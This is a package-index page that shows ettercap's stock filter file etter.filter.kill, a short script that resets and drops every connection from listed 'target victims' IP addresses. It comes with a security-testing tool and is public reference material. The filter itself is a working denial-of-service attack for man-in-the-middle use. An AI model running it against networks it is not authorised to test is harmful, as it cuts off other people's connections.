This file is indexed.

/usr/share/ettercap/etter.filter.kill is in ettercap-common 1:0.8.2-2build1.

This file is owned by root:root, with mode 0o644.

The actual contents of the file can be viewed below.

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############################################################################
#                                                                          #
#  ettercap -- etter.filter -- filter source file                          #
#                                                                          #
#  Copyright (C) ALoR & NaGA                                               #
#                                                                          #
#  This program is free software; you can redistribute it and/or modify    #
#  it under the terms of the GNU General Public License as published by    #
#  the Free Software Foundation; either version 2 of the License, or       #
#  (at your option) any later version.                                     #
#                                                                          #
############################################################################

##
#
#   This filter will kill all the connection made by an host.
#   this can be used instead of the old 'banshee' plugin.
#   if you need to add target victims, simply copy the code as many time you
#   want
##

if (ip.src == '192.168.1.1') {
# sent the RST to both source and dest
   kill();
# don't even forward the packet
   drop();
}

if (ip.src == '192.168.1.2') {
   kill();
   drop();
}